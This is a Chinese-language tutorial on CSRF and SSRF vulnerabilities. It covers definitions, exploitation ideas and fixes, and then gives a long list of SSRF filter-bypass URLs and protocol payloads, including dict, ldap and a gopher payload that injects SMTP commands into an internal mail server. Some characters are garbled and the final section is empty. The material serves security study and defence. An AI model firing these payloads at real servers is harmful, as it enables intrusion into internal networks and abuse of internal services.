CSRF漏洞简介
CSRF(Cross-site request forgery,跨站请求伪造),是指利用受害者尚未失效的身份认证信息( cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用
CSRF漏洞分类
GET型
GET型CSRF漏洞,只需要构造URL,然后诱导受害者访问利用。
POST型
POST型CSRF漏洞,需要构造自动提交或点击提交的表单,然后诱导受害者访问或点击利用。
CSRF漏洞危害
未验证 Referer或者使用不适当的 Token 导致用户或者管理员可被 CSRF添加、修改、删除等操作
CSRF漏洞利用
利用思路
寻找增删改的地方,构造HTML,修改HTML表单中某些参数,使用浏览器打开该HTML,点击提交表单后查看响应结果,看该操作是否成功执行。
CSRF漏洞修复方案
- 添加随机token值,并验证。
- 验证Referer
- 关键请求使用验证码功能
绕过方式与JSONP差不多:
Referer过滤规则(正则)不严谨;
空Referer;忽视了空Referer的情况,用 <iframe> 调用 javscript 伪协议来实现空 Referer 调用 JSON 文件;
token可被爆破。
SSRF漏洞简介
?SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种利用漏洞伪造服务器端发起请求。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
SSRF漏洞原理
? 通过控制功能中的发起请求的服务来当作跳板攻击内网中其他服务。比如,通过控制前台的请求远程地址加载的响应,来让请求数据由远程的URL域名修改为请求本地、或者内网的IP地址及服务,来造成对内网系统的攻击。
SSRF漏洞危害
- 扫描内网开放服务
- 向内部任意主机的任意端口发送payload来攻击内网服务
- DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
- 攻击内网的web应用,例如直接SQL注入、XSS攻击等
- 利用file、gopher、dict协议读取本地文件、执行命令等
SSRF漏洞利用
利用思路
- 利用URL进行分享
- 图片加载与下载
- 图片、文章收藏功能
- 利用参数中的关键字来查找可以利用点
访问类型均为次类型:http://title.xxx.com/title?title=http://127.0.0.1
可以搜索关键参数:
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
…
SSRF漏洞修复方案
绕过方式
1.攻击本地
http://127.0.0.1:80
http://localhost:22
2.利用[::]
http://[::]:80 = http://127.0.0.1:80
3.利用@
http://a.com@127.0.0.1
4.短地址
http://dwz.cn/11SMa = http://127.0.0.1
5.特殊域名
https://127.0.0.1.xip.io = http://www.baidu.com.127.0.0.1.xip.io
原理是DNS解析,只不过这个是人家已经设置好的;
6.利用DNS解析
在域名上设置A记录,指向127.0.0.1,同上
7.利用Enclosed alphanumerics
???????.??? = example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ? ? ? ? ? ? ? ? ? ?
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ?
? ? ? ? ? ? ? ? ? ? ?
8.利用句号
127。0。0。1 = 127.0.0.1
9.利用上传
不一定能行
文件上传时,修改上传类型"type=file"为"file=url",即存在可能触发SSRF
10.进制转换
转成十六、八均可;
转成十六格式:http://0x7f.0.0.1 = http://127.0.0.1
转成八进制格式:http://0177.0.0.1 = http://127.0.0.1
http://127.0.0.1/ = http://2130706433/
11.特殊地址
http://0/
并不等于127.0.0.1
12.利用协议
Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
13.组合拳